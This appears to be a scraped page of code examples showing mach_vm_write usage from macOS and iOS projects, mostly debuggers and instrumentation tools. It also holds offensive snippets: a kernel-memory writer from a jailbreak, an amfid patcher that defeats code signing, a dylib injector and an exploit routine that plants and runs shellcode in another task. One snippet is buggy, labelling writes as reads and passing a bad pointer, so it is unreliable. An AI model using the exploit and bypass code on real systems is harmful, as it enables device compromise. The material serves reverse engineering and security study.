コード例 #1
0
ファイル: hack.cpp プロジェクト: gdbinit/Disable-m3u
/*
 * patch addresses by modifying m3u string to m5u
 */
int
patchmemory(mach_vm_address_t address)
{
	kern_return_t kr = 0;
	// change memory protection
	kr = mach_vm_protect(mach_task_self(), address, (mach_vm_size_t)8, FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
    if (kr != KERN_SUCCESS)
    {
        ERROR_MSG("Failed to change memory protection.");
        return -1;
    }
	// the new byte to write
	uint8_t opcode = 0x35;
	// number of bytes to write
	mach_vm_size_t len = 1;
	DEBUG_MSG("Patching bytes...\n");
	// and write the new byte (strings will be modified to m5u and m5u8)
	kr = mach_vm_write(mach_task_self(), address+1, (vm_offset_t)&opcode, len);
    if (kr != KERN_SUCCESS)
    {
        ERROR_MSG("Failed to write to memory.");
        return -1;
    }
    // restore original protections
	kr = mach_vm_protect(mach_task_self(), address, (mach_vm_size_t)8, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
    if (kr != KERN_SUCCESS)
    {
        ERROR_MSG("Failed to change memory protection.");
        return -1;
    }
    return 0;
}
コード例 #2
0
ファイル: Debugger.cpp プロジェクト: mfichman/jogo
void write_mem(mach_vm_address_t addr, mach_vm_address_t buf, int len) {
    // Write the traced process's memory, starting at addr, up to addr+len.
    kern_return_t ret = 0;
    ret = mach_vm_write(task, addr, buf, len);
    error(ret);
    ret = mach_vm_copy(task, addr, 10, addr);
    error(ret);
    
/*
    size_t written = 0;

    while (written < len) {
        // Write a single word of data at at time to the traced process's
        // address space.
        errno = 0;
        int data = 0;
        memcpy(&data, buf+written, std::min(sizeof(data), len-written));
        int ret = ptrace(PT_WRITE_D, pid, addr+written, data);
        if (errno) {
            perror("Error: PT_WRITE_D");
        }
        written += sizeof(data);
    }
*/
}
コード例 #3
0
ファイル: mach_vm_utils.c プロジェクト: Tyilo/hydra
bool write_vm(vm_map_t task, mach_vm_address_t address, unsigned char *new_value, mach_msg_type_number_t size) {
	protection_backup *backup = backup_protection(task, address, size);
	KERN_TEST(mach_vm_protect(task, address, size, 0, VM_PROT_ALL), "Error setting protection");
	
	KERN_TEST(mach_vm_write(task, address, (vm_offset_t)new_value, size), "Error writing bytes");
	restore_protection(task, backup);
	
	return true;
}
コード例 #4
0
ファイル: kutils.c プロジェクト: wh33t01/noncereboot1131UI
size_t kwrite(uint64_t where, const void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        size_t chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk);
        if (rv) {
            fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where));
            break;
        }
        offset += chunk;
    }
    return offset;
}
コード例 #5
0
ファイル: implementation.c プロジェクト: reeth/pydbg64
int 
write_memory(int pid, mach_vm_address_t addr, mach_msg_type_number_t len, char *data)
{
    //		fprintf(stderr, "write_memory %d %p %x\n", pid, (void *)addr, len);
    vm_map_t port = getport(pid);
    
    kern_return_t ret = mach_vm_write(port, addr, (vm_offset_t) data, len);
    if(ret != KERN_SUCCESS)
    {
        //fprintf(stderr, "Failed to write to %lx", addr);
        mach_error("mach_vm_write: ", ret);
        if(ret == KERN_PROTECTION_FAILURE)
            fprintf(stderr, "error writing to %p: Specified memory is valid, but does not permit writing\n", (void *)addr);
        if(ret == KERN_INVALID_ADDRESS)
            fprintf(stderr, "error writing to %p: The address is illegal or specifies a non-allocated region\n", (void *)addr);
        return 0;
    }	
    return 1;
}
コード例 #6
0
ファイル: hack.cpp プロジェクト: gdbinit/Disable-m3u
/*
 * iterate over the patch_addresses array and restore original byte
 */
int
unpatchmemory(struct header_info *hi)
{
	kern_return_t kr = 0;
    int index = 0;
    while (hi->patch_addresses[index] != 0)
    {
        printf("Patching %p\n", (void*)hi->patch_addresses[index]);
        // change memory protection
        kr = mach_vm_protect(mach_task_self(), hi->patch_addresses[index], (mach_vm_size_t)8, FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
        if (kr != KERN_SUCCESS)
        {
            ERROR_MSG("Failed to change memory protection.");
            return -1;
        }
        // the new byte to write
        uint8_t opcode = 0x33;
        // number of bytes to write
        mach_vm_size_t len = 1;
        DEBUG_MSG("Restoring original bytes...\n");
        // and write the new byte (strings will be modified to m3u and m3u8)
        kr = mach_vm_write(mach_task_self(), hi->patch_addresses[index]+1, (vm_offset_t)&opcode, len);
        if (kr != KERN_SUCCESS)
        {
            ERROR_MSG("Failed to write to memory.");
            return -1;
        }
        // restore original protections
        kr = mach_vm_protect(mach_task_self(), hi->patch_addresses[index], (mach_vm_size_t)8, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
        if (kr != KERN_SUCCESS)
        {
            ERROR_MSG("Failed to change memory protection.");
            return -1;
        }
        index++;
    }
    memset(hi->patch_addresses, '\0', 16*sizeof(mach_vm_address_t));
    return 0;
}
コード例 #7
0
bool ZGWriteBytes(ZGMemoryMap processTask, ZGMemoryAddress address, const void *bytes, ZGMemorySize size)
{
	return (mach_vm_write(processTask, address, (vm_offset_t)bytes, (mach_msg_type_number_t)size) == KERN_SUCCESS);
}
コード例 #8
0
ファイル: gumdarwinmapper.c プロジェクト: 0xItx/frida-gum
void
gum_darwin_mapper_map (GumDarwinMapper * self,
                       GumAddress base_address)
{
  GSList * cur;
  GumDarwinModule * module = self->module;
  guint i;
  GArray * shared_segments;

  g_assert (!self->mapped);

  self->runtime_address = base_address;
  base_address += self->runtime_vm_size;

  for (cur = self->children; cur != NULL; cur = cur->next)
  {
    GumDarwinMapper * child = cur->data;

    gum_darwin_mapper_map (child, base_address);
    base_address += child->vm_size;
  }

  gum_darwin_module_set_base_address (module, base_address);

  gum_emit_runtime (self);

  gum_darwin_module_enumerate_rebases (module, gum_darwin_mapper_rebase, self);
  gum_darwin_module_enumerate_binds (module, gum_darwin_mapper_bind, self);
  gum_darwin_module_enumerate_lazy_binds (module, gum_darwin_mapper_bind, self);

  for (i = 0; i != module->segments->len; i++)
  {
    GumDarwinSegment * s =
        &g_array_index (module->segments, GumDarwinSegment, i);
    GumAddress segment_address;
    guint64 file_offset;

    segment_address = base_address + s->vm_address - module->preferred_address;
    file_offset =
        (s->file_offset != 0) ? s->file_offset - self->image->source_offset : 0;

    mach_vm_write (module->task, segment_address,
        (vm_offset_t) (self->image->data + file_offset), s->file_size);
    mach_vm_protect (module->task, segment_address, s->vm_size, FALSE,
        s->protection);
  }

  shared_segments = self->image->shared_segments;
  for (i = 0; i != shared_segments->len; i++)
  {
    GumDarwinModuleImageSegment * s =
        &g_array_index (shared_segments, GumDarwinModuleImageSegment, i);

    mach_vm_write (module->task, base_address + s->offset,
        (vm_offset_t) self->image->data + s->offset, s->size);
    mach_vm_protect (module->task, base_address + s->offset, s->size, FALSE,
        s->protection);
  }

  mach_vm_write (module->task, self->runtime_address,
      (vm_offset_t) self->runtime, self->runtime_file_size);
  mach_vm_protect (module->task, self->runtime_address, self->runtime_vm_size,
      FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY | VM_PROT_EXECUTE);

  self->mapped = TRUE;
}
コード例 #9
0
int main(int argc, char** argv)
{
    // THIS IS BOILERPLATE TO PROPERLY GAIN TFP0 AND INITIALIZE INTERNALS
    offsets_init();
    task_t kernel_task;
    host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 4, &kernel_task);
    task_self_addr();
    kernel_task_port = kernel_task;
    tfp0 = kernel_task;
    // THIS IS BOILERPLATE TO PROPERLY GAIN TFP0 AND INITIALIZE INTERNALS

    if (argc != 1)
    {
        printf("Usage\n\t%s NO ARGUMENTS\n", argv[0]);
        return -1;
    }

    fprintf(stderr, "[NERFBAT]\tVersion 0.3b (tfp = 0x%x)\n", tfp0);
    fprintf(stderr, "[NERFBAT]\tpid = %d\n", getpid());
    fprintf(stderr, "[NERFBAT]\tWaiting on handle for MISVSACI to open up...\n");
    sleep(5);

    set_platform_attribs(get_proc_block(getpid()), tfp0);



    uint32_t amfid_pid = 0;
    kern_return_t kr;
    mach_port_name_t amfid_port = 0;
    int failure = 1;
    uint64_t old_amfid_MISVSACI_local = 0;

    if(!(access("/tmp/amfid.MISVSACI", F_OK) == -1))
    {
        char fdata[0x20];   
        sprintf(fdata, "0x%llx", old_amfid_MISVSACI);
        int fd = open("/tmp/amfid.MISVSACI", O_RDONLY);
        read(fd, fdata, 0x20);
        close(fd);
        old_amfid_MISVSACI_local = strtoull(fdata, 0, 0x10);
        old_amfid_MISVSACI = old_amfid_MISVSACI_local;
        fprintf(stderr, "[NERFBAT]\tLoading old jump table: 0x%llx\n", old_amfid_MISVSACI);
        fprintf(stderr, "[NERFBAT]\tabout to search for the binary load address\n");

        amfid_pid = get_pid_from_name("amfid");
        fprintf(stderr, "[NERFBAT]\tAMFID pid = %d\n", amfid_pid);
        fprintf(stderr, "[NERFBAT]\t[i]\ttask for pid 0 = 0x%x\n", tfp0);
        kr = task_for_pid(mach_task_self(), amfid_pid, &amfid_port);
        if (kr != KERN_SUCCESS)
            fprintf(stderr, "[NERFBAT]\t[-]\tTHERE WAS AN ERROR GETTING task_for_portfor AMFID\n");
        amfid_base = binary_load_address(amfid_port);
        fprintf(stderr, "[NERFBAT]\tamfid load address: 0x%llx\n", amfid_base);
    } else {
        fprintf(stderr, "[NERFBAT]\t[i]\tMASSIVE PROBLEM IN NERFBAT\n");
    }

    while (1)
    {
        if (failure || get_pid_from_name("amfid") != amfid_pid)
        {
            amfid_pid = get_pid_from_name("amfid");
            fprintf(stderr, "[NERFBAT]\t[i]\tAMFID pid == %d\n", amfid_pid);
            uint64_t amfid_proc = get_proc_block(amfid_pid);
            amfid_base = amfid_proc;
            fprintf(stderr, "[NERFBAT]\t[i]\tAMFID proc bloc == 0x%llx\n", amfid_proc);
            //We need to enable amfid to allow us to get a port to it
            fprintf(stderr, "[NERFBAT]\t[i]\tAMFID pid == %d\n", amfid_pid);
            uint64_t amfid_task = get_proc_block(amfid_pid);
            fprintf(stderr, "[NERFBAT]\t[i]\tGot amfid pid at 0x%llx\n", amfid_task);
            uint64_t vnode_info = rk64(amfid_task+0x248);
            fprintf(stderr, "[NERFBAT]\t[i]\tVNODE INFO : 0x%llx\n", vnode_info);
            uint64_t ubc_info = rk64(vnode_info+0xf*sizeof(uint64_t));
            fprintf(stderr, "[NERFBAT]\t[i]\tMy UBC INFO is 0x%llx\n", ubc_info);
            uint64_t blob = rk64(ubc_info+0xa*sizeof(uint64_t));
            char *csb = malloc(0xa8);
            mach_vm_address_t sz = 0;
            mach_vm_read_overwrite(tfp0, (mach_vm_address_t)blob, 0xa8, (mach_vm_address_t)csb, &sz);
            fprintf(stderr, "[NERFBAT]\t[i]\tCurrent 0xa4 = 0x%02x\n", (int)*(char *)((char *)csb + 0xA4));
            *(char *)((char *)csb + 0xA4) = (*((char *)csb + 0xA4) & 0xFE) | 1;
            fprintf(stderr, "[NERFBAT]\t[i]\tNew 0xa4 = 0x%02x\n", (int)*(char *)((char *)csb + 0xA4));
            fprintf(stderr, "[NERFBAT]\t[i]\tCurrent 0xc = 0x%04x\n", *(uint32_t *)((uint32_t *)csb + 0xc));
            *(uint32_t *)((uint32_t *)csb + 0xc) = *((uint32_t *)csb + 0xc) | htonl(0x22000005);
            fprintf(stderr, "[NERFBAT]\t[i]\tCurrent 0xc = 0x%04x\n", *(uint32_t *)((uint32_t *)csb + 0xc));
            mach_vm_write(tfp0, blob, (vm_offset_t)csb, 0xa8);
            free(csb);

            fprintf(stderr, "[NERFBAT]\t[i]\ttask for pid 0 = 0x%x\n", tfp0);
            kr = task_for_pid(mach_task_self(), amfid_pid, &amfid_port);
            if (kr != KERN_SUCCESS)
            {
                fprintf(stderr, "[NERFBAT]\t[-]\tTHERE WAS AN ERROR GETTING task_for_portfor AMFID\n");
                failure = 1;
            } else {
                failure = 0;
            }
            fprintf(stderr, "[NERFBAT]\t[i]\tPATCHING AMFID on port = 0x%x\n", amfid_port);
            unpatch_amfid(amfid_port, old_amfid_MISVSACI_local);
            patch_amfid(amfid_port);
        }
        fprintf(stderr, "[NERFBAT]\t[i]\tSleeping for 10 seconds...\n");
        sleep(10);
    }
}
コード例 #10
0
int main() {
    int pid;
    int gcount;
    long address;
    unsigned char * bytes;
    mach_port_t task;
    thread_act_port_array_t threadList;
    mach_msg_type_number_t threadCount;

    printf("PID to query, or 0 for this process: ");
    scanf("%d", &pid);

    if(pid == 0){
        pid = getpid();
    }

    printf("[i] OK, using PID: %d\n", pid);

    int retval = task_for_pid(mach_task_self(), pid, &task);

    if(retval!=KERN_SUCCESS){
        fprintf(stderr, "[!] Failed to get task. Do you have perms?\n");
        fprintf(stderr, "Error: %s\n", mach_error_string(retval));
        return 1;
    }

    printf("[i] Querying thread list\n");
    retval = task_threads(task, &threadList, &threadCount);

    if(retval!=KERN_SUCCESS){
        fprintf(stderr, "[!] Failed to read thread list\n");
        fprintf(stderr, "Error: %s\n", mach_error_string(retval));
        return 1;
    }

    printf("[+] Thread Count: %d\n", threadCount);

    printf("Address to start reading from: ");
    scanf("%ld", &address);

    printf("Number of bytes to read:: ");
    scanf("%d", &gcount);

    printf("[i] Staring... \n");

    bytes = malloc(gcount); //Allocate memory for reading

    time_t temptime = time(NULL);
    long tempaddr = address;

    while(address < pow(2, 63)){
        retval = mach_vm_write(task, (mach_vm_address_t)address, (vm_offset_t)*bytes, gcount);
        if(retval == KERN_SUCCESS){
            printf("Succesfull Read from @0x%016lx: %s\n", address, bytes);
        }

        if(time(NULL) - temptime > TICK){ //probably a load of overhead in calling time()
            long bytes_read = address - tempaddr;
            int seconds_elapsed = time(NULL) - temptime;

            float read_rate = bytes_read/seconds_elapsed/(1024*1024);

            printf("Tick... currently at 0x%016lx (%f MB/sec)\n", address, read_rate);
            temptime = time(NULL);
            tempaddr = address;
        }

        address += gcount; //move to next chunk
    }

}
コード例 #11
0
ファイル: itracer.c プロジェクト: LiJingBiao/itrace
static tb_bool_t it_inject(pid_t pid, tb_char_t const* path) 
{
    // check
    tb_assert_and_check_return_val(pid && path, tb_false);

    // trace
    tb_trace_d("inject: pid: %lu, path: %s: ..", (tb_size_t)pid, path);

#ifdef TB_ARCH_ARM64
    // uses libsubstrate first?
    if (tb_file_info("/usr/lib/libsubstrate.dylib", tb_null))
    {
        // init library
        tb_bool_t   ok = tb_false;
        tb_handle_t library = tb_dynamic_init("/usr/lib/libsubstrate.dylib");
        if (library)
        {
            // trace
            tb_trace_d("library: %p", library);

            // the func
            it_MSHookProcess_t pMSHookProcess = tb_dynamic_func(library, "MSHookProcess");
            if (pMSHookProcess)
            {
                // trace
                tb_trace_d("MSHookProcess: %p", pMSHookProcess);

                // hook process
                ok = pMSHookProcess(pid, path)? tb_true : tb_false;
            }

            // exit library
            tb_dynamic_exit(library);

            // trace
            tb_trace_i("%s", ok? "ok" : "no");

            // ok?
            return ok;
        }
    }
#endif

    // pid => task
    task_t task = 0;
    if (task_for_pid(mach_task_self(), (tb_int_t)pid, &task)) 
    {
        tb_trace_i("task_for_pid: %lu failed, errno: %d", (tb_size_t)pid, errno);
        return tb_false;
    }

    // trace
    tb_trace_d("task: %u", task);

    // stuff
    cpu_type_t cputype; it_addr_bundle_t addrs;
    if (!it_stuff(task, &cputype, &addrs)) return tb_false;

    // trace
    tb_trace_d("dlopen: %p", addrs.dlopen);
    tb_trace_d("syscall: %p", addrs.syscall);

    // alloc stack 
    mach_vm_address_t stack_address = 0;
    if (mach_vm_allocate(task, &stack_address, it_stack_size, VM_FLAGS_ANYWHERE)) return tb_false;

    // write path
    mach_vm_address_t stack_end = stack_address + it_stack_size - 0x100;
    if (mach_vm_write(task, stack_address, (vm_offset_t)it_address_cast(path), strlen(path) + 1)) return tb_false;

    /* the first one is the return address
     *
     * syscall(SYS_bsdthread_create, 0xdeadbeef, 0xdeadbeef, 128 * 1024, 0, 0)
     */
    tb_uint32_t args_32[] = {0, 360, 0xdeadbeef, 0xdeadbeef, 128 * 1024, 0, 0};
    tb_uint64_t args_64[] = {0, 360, 0xdeadbeef, 0xdeadbeef, 128 * 1024, 0, 0};

    // init thread state 
    union
    {
        it_arm_thread_state_t       arm;
        it_arm_thread_state64_t     arm64;
        it_x86_thread_state32_t     x86;
        it_x86_thread_state64_t     x64;
        natural_t                   nat;

    }state;
    thread_state_flavor_t           state_flavor;
    mach_msg_type_number_t          state_count;
    memset(&state, 0, sizeof(state));   

    // init thread state for the cpu type
    switch (cputype)
    {
    case CPU_TYPE_ARM:
        {
            tb_trace_i("cputype: arm");
            memcpy(&state.arm.r[0], args_32 + 1, 4 * sizeof(tb_uint32_t));
            if (mach_vm_write(task, stack_end, (vm_offset_t)it_address_cast(args_32 + 5), 2 * sizeof(tb_uint32_t))) return tb_false;

            state.arm.sp    = (tb_uint32_t) stack_end;
            state.arm.pc    = (tb_uint32_t) addrs.syscall;
            state.arm.lr    = (tb_uint32_t) args_32[0];

            state_flavor    = ARM_THREAD_STATE;
            state_count     = sizeof(state.arm) / sizeof(state.nat);

            // trace
            tb_trace_d("init: pc: %x", state.arm.pc);
            tb_trace_d("init: lr: %x", state.arm.lr);
            tb_trace_d("init: sp: %x", state.arm.sp);
        }
        break;
    case CPU_TYPE_ARM64:
        {
            tb_trace_i("cputype: arm64");
            memcpy(&state.arm64.x[0], args_64 + 1, 6 * sizeof(tb_uint64_t));

            state.arm64.sp  = (tb_uint64_t) stack_end;
//          state.arm64.fp  = (tb_uint64_t) stack_end;
            state.arm64.pc  = (tb_uint64_t) addrs.syscall;
            state.arm64.lr  = (tb_uint64_t) args_64[0];

            state_flavor    = ARM_THREAD_STATE64;
            state_count     = sizeof(state.arm64) / sizeof(state.nat);

            // trace
            tb_trace_d("init: pc: %llx", state.arm64.pc);
            tb_trace_d("init: lr: %llx", state.arm64.lr);
            tb_trace_d("init: sp: %llx", state.arm64.sp);
        }
        break;
    case CPU_TYPE_X86:
        {
            tb_trace_i("cputype: x86");
            if (mach_vm_write(task, stack_end, (vm_offset_t)it_address_cast(args_32), 7 * 4)) return tb_false;

            state.x86.esp   = state.x86.ebp = (tb_uint32_t) stack_end;
            state.x86.eip   = (tb_uint32_t)addrs.syscall;

            state_flavor    = x86_THREAD_STATE32;
            state_count     = sizeof(state.x86) / sizeof(state.nat);
        }
        break;
    case CPU_TYPE_X86_64:
        {
            tb_trace_i("cputype: x64");
            state.x64.rdi   = args_64[1];
            state.x64.rsi   = args_64[2];
            state.x64.rdx   = args_64[3];
            state.x64.rcx   = args_64[4];
            state.x64.r8    = args_64[5];
            state.x64.r9    = args_64[6];

            state.x64.rsp   = state.x64.rbp = stack_end;
            state.x64.rip   = addrs.syscall;

            state_flavor    = x86_THREAD_STATE64;
            state_count     = sizeof(state.x64) / sizeof(state.nat);
        }
        break;
    default:
        tb_trace_i("cputype: unknown: %lx", (tb_size_t)cputype);
        return tb_false;
    }

    // init a remote thread
    thread_act_t thread = 0;
    if (thread_create(task, &thread)) return tb_false;

    // trace
    tb_trace_d("init: thread: %x", thread);

    // alloc port
    mach_port_t exc = 0;
    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &exc);
    if (mach_port_insert_right(mach_task_self(), exc, exc, MACH_MSG_TYPE_MAKE_SEND)) return tb_false;

    // swap port
    exception_mask_t        em[2];
    exception_handler_t     eh[2];
    exception_behavior_t    eb[2];
    thread_state_flavor_t   ef[2];
    mach_msg_type_number_t  em_count = 2;
    if (task_swap_exception_ports(task, EXC_MASK_BAD_ACCESS, exc, EXCEPTION_STATE_IDENTITY, state_flavor, em, &em_count, eh, eb, ef)) return tb_false;
    tb_assert_and_check_return_val(em_count <= 1, tb_false);

    // resume thread, done: syscall(SYS_bsdthread_create, 0xdeadbeef, 0xdeadbeef, 128 * 1024, 0, 0)
    if (thread_set_state(thread, state_flavor, &state.nat, state_count)) return tb_false;
    if (thread_resume(thread)) return tb_false;

    // we expect three exceptions: one from thread when it returns, one from the new thread when it calls the fake handler, and one from the new thread when it returns from dlopen.
    tb_bool_t started_dlopen = tb_false;
    while (1) 
    {
        // recv msg
        it_exception_message_t msg;
        if (mach_msg_overwrite(tb_null, MACH_RCV_MSG, 0, sizeof(msg), exc, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL, (tb_pointer_t) &msg, sizeof(msg))) return tb_false;

        // trace
        tb_trace_d("recv: msg: from thread: %x", msg.thread.name);

        // check
        tb_assert_and_check_return_val((msg.Head.msgh_bits & MACH_MSGH_BITS_COMPLEX), tb_false);
        tb_assert_and_check_return_val((msg.msgh_body.msgh_descriptor_count != 0), tb_false);
        tb_assert_and_check_return_val((msg.Head.msgh_size >= offsetof(it_exception_message_t, old_state)), tb_false);
        tb_assert_and_check_return_val((msg.old_stateCnt == state_count), tb_false);
        tb_assert_and_check_return_val((msg.Head.msgh_size >= offsetof(it_exception_message_t, old_state) + msg.old_stateCnt * sizeof(natural_t)), tb_false);

        // the msg state
        memcpy(&state, msg.old_state, sizeof(state));

        // dump
//      tb_dump_data((tb_byte_t const*)&state, sizeof(state));

        // done
        if (msg.thread.name == thread)
        {
            tb_trace_d("terminate");
            if (thread_terminate(thread)) return tb_false;
        } 
        else
        {
            // init cond
            tb_bool_t cond = tb_false;
            switch(cputype)
            {
            case CPU_TYPE_ARM:      
                {
                    // trace
                    tb_trace_d("recv: pc: %x", state.arm.pc);
                    tb_trace_d("recv: lr: %x", state.arm.lr);
                    tb_trace_d("recv: sp: %x", state.arm.sp);

                    // cond
                    cond = ((state.arm.pc & ~1) == 0xdeadbeee)? tb_true : tb_false;
                }
                break;
            case CPU_TYPE_ARM64:
                {
                    // trace
                    tb_trace_d("recv: pc: %llx", state.arm64.pc);
                    tb_trace_d("recv: lr: %llx", state.arm64.lr);
                    tb_trace_d("recv: sp: %llx", state.arm64.sp);

                    // cond
                    cond = ((state.arm64.pc & ~1) == 0xdeadbeee)? tb_true : tb_false;
                }
                break;
            case CPU_TYPE_X86:
                cond = (state.x86.eip == 0xdeadbeef)? tb_true : tb_false; 
                break;
            case CPU_TYPE_X86_64:
                cond = (state.x64.rip == 0xdeadbeef)? tb_true : tb_false;
                break;
            }

            tb_trace_d("cond: %d, started_dlopen: %d", cond, started_dlopen);
            if (!cond)
            {
                // let the normal crash mechanism handle it
                task_set_exception_ports(task, em[0], eh[0], eb[0], ef[0]);
                tb_assert_and_check_return_val(0, tb_false);
            }
            else if (started_dlopen)
            {
                tb_trace_d("terminate");
                if (thread_terminate(msg.thread.name)) return tb_false;
                break;
            }
            else 
            {
                // done: dlopen(path, RTLD_LAZY)
                switch(cputype)
                {
                case CPU_TYPE_ARM:
                    {
                        state.arm.r[0] = (tb_uint32_t) stack_address;
                        state.arm.r[1] = RTLD_LAZY;
                        state.arm.pc = (tb_uint32_t) addrs.dlopen;
                        state.arm.lr = 0xdeadbeef;
                    }
                    break;
                case CPU_TYPE_ARM64:
                    {
                        state.arm64.x[0] = (tb_uint64_t) stack_address;
                        state.arm64.x[1] = RTLD_LAZY;
                        state.arm64.pc = (tb_uint64_t) addrs.dlopen;
                        state.arm64.lr = 0xdeadbeef;
                    }
                    break;
                case CPU_TYPE_X86:
                    {
                        tb_uint32_t stack_stuff[3] = {0xdeadbeef, (tb_uint32_t)stack_address, RTLD_LAZY};
                        if (mach_vm_write(task, (mach_vm_address_t)state.x86.esp, (vm_offset_t)it_address_cast(&stack_stuff), sizeof(stack_stuff))) return tb_false;
                    }
                    state.x86.eip = (tb_uint32_t) addrs.dlopen;
                    break;
                case CPU_TYPE_X86_64:
                    {
                        tb_uint64_t stack_stuff = 0xdeadbeef;
                        if (mach_vm_write(task, (mach_vm_address_t)state.x64.rsp, (vm_offset_t)it_address_cast(&stack_stuff), sizeof(stack_stuff))) return tb_false;
                        state.x64.rip = addrs.dlopen;
                        state.x64.rdi = stack_address;
                        state.x64.rsi = RTLD_LAZY;
                    }
                    break;
                }

                it_exception_reply_t reply;
                memcpy(&reply.Head, &msg.Head, sizeof(mach_msg_header_t));
                reply.Head.msgh_bits &= ~MACH_MSGH_BITS_COMPLEX;
                reply.Head.msgh_size = offsetof(it_exception_reply_t, new_state) + state_count * sizeof(natural_t);
                reply.Head.msgh_id += 100;
                memcpy(&reply.NDR, &msg.NDR, sizeof(NDR_record_t));
                reply.RetCode = 0;
                reply.flavor = state_flavor;
                reply.new_stateCnt = state_count;
                memcpy(&reply.new_state, &state, sizeof(state));

                if (thread_set_state(msg.thread.name, state_flavor, &state.nat, state_count)) return tb_false;
                if (mach_msg(&reply.Head, MACH_SEND_MSG, reply.Head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL)) return tb_false;
                started_dlopen = tb_true;
            }
        }
    }

    // exit
    if (stack_address) vm_deallocate(task, stack_address, it_stack_size);
    if (thread)
    {
        thread_terminate(thread);
        mach_port_deallocate(mach_task_self(), thread);
    }
    if (task) mach_port_deallocate(mach_task_self(), task);
    if (exc) mach_port_deallocate(mach_task_self(), exc);

    // ok
    tb_trace_i("ok");
    return tb_true;
}
コード例 #12
0
// return 0 to try again
int sploit_parent(mach_port_t child_task_port, mach_port_t exception_port) {
    kern_return_t err;
    kern_return_t set_exception_ports_err = KERN_SUCCESS;

    while (set_exception_ports_err == KERN_SUCCESS) {
        set_exception_ports_err = task_set_exception_ports(
                                      child_task_port,
                                      EXC_MASK_ALL,
                                      exception_port,
                                      EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES,  // we want to receive a catch_exception_raise message
                                      THREAD_STATE_NONE);
    }

    // setting the exception port has now started failing
    // try to receive a message; use a timeout because we may have lost the race and need to try again:

    size_t size = 0x1000;
    struct exception_raise_msg* request = malloc(size);
    memset(request, 0, size);

    err = mach_msg(&request->Head,
                   MACH_RCV_MSG | MACH_RCV_TIMEOUT,
                   0,
                   size,
                   exception_port,
                   10, // 10ms timeout
                   0);

    if (err != KERN_SUCCESS) {
        printf("[-] failed to receive message on exception port - trying again (%s)\n", mach_error_string(err));
        return 0;
    }

    // we got it!
    printf("[+] got exception message with target's task and thread ports\n");
    mach_port_t target_task = request->task.name;
    mach_port_t target_thread = request->thread.name;

    // allocate some memory in the task
    mach_vm_address_t shellcode_addr = 0;
    err = mach_vm_allocate(target_task,
                           &shellcode_addr,
                           0x1000,
                           VM_FLAGS_ANYWHERE);

    if (err != KERN_SUCCESS) {
        printf("[-] mach_vm_allocate: %s\n", mach_error_string(err));
        return 1;
    }
    printf("[+] allocated shellcode in target at %llx\n", shellcode_addr);

    // write the shellcode there:
    err = mach_vm_write(target_task,
                        shellcode_addr,
                        (vm_offset_t)sc,
                        sizeof(sc));

    if (err != KERN_SUCCESS) {
        printf("[-] mach_vm_write: %s\n", mach_error_string(err));
        return 1;
    }

    // make it executable
    err = mach_vm_protect(target_task,
                          shellcode_addr,
                          0x1000,
                          0,
                          VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE); // also writeable because we put the stack there

    if (err != KERN_SUCCESS) {
        printf("[-] mach_vm_protect: %s\n", mach_error_string(err));
        return 1;
    }

    // set the thread state to point to the the shellcode
    x86_thread_state64_t state;
    mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT;

    memset(&state, 0, sizeof(state));

    state.__rip = (uint64_t)shellcode_addr;
    state.__rsp = (uint64_t)shellcode_addr + 0x800; // the shellcode uses the stack

    err = thread_set_state(target_thread,
                           x86_THREAD_STATE64,
                           (thread_state_t)&state,
                           stateCount);

    if (err != KERN_SUCCESS) {
        printf("[-] thread_set_state: %s\n", mach_error_string(err));
        return 1;
    }

    // reply to the exception message
    struct exception_reply_msg reply = {0};
    reply.Head.msgh_remote_port = request->Head.msgh_remote_port;
    reply.Head.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(request->Head.msgh_bits), 0);
    reply.Head.msgh_id = request->Head.msgh_id + 100;
    reply.Head.msgh_size = sizeof(reply);
    reply.NDR = NDR_record;
    reply.RetCode = MACH_MSG_SUCCESS;

    err = mach_msg(&reply.Head,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   (mach_msg_size_t)sizeof(reply),
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);

    if (err != KERN_SUCCESS) {
        printf("[-] mach_msg sending reply to exception message: %s\n", mach_error_string(err));
        return 1;
    }

    return 1;
}
コード例 #13
0
ファイル: macosx-mutils.c プロジェクト: HoMeCracKeR/gdb-ng
static int
mach_xfer_memory_block (CORE_ADDR memaddr, char *myaddr,
                        int len, int write, task_t task)
{
  vm_size_t pagesize = child_get_pagesize ();

  vm_offset_t mempointer;       /* local copy of inferior's memory */
  mach_msg_type_number_t memcopied;     /* for vm_read to use */

  kern_return_t kret;

  CHECK_FATAL ((memaddr % pagesize) == 0);
  CHECK_FATAL ((len % pagesize) == 0);

  if (!write)
    {
      kret =
        mach_vm_read (task, memaddr, len, &mempointer,
                      &memcopied);
      if (kret != KERN_SUCCESS)
        {
#ifdef DEBUG_MACOSX_MUTILS
          mutils_debug
            ("Unable to read region at 0x%8.8llx with length %lu from inferior: %s (0x%lx)\n",
             (uint64_t) memaddr, (unsigned long) len,
             MACH_ERROR_STRING (kret), kret);
#endif
          return 0;
        }
      if (memcopied != len)
        {
          kret = vm_deallocate (mach_task_self (), mempointer, memcopied);
          if (kret != KERN_SUCCESS)
            {
              warning
                ("Unable to deallocate memory used by failed read from inferior: %s (0x%ux)",
                 MACH_ERROR_STRING (kret), kret);
            }
#ifdef DEBUG_MACOSX_MUTILS
          mutils_debug
            ("Unable to read region at 0x%8.8llx with length %lu from inferior: "
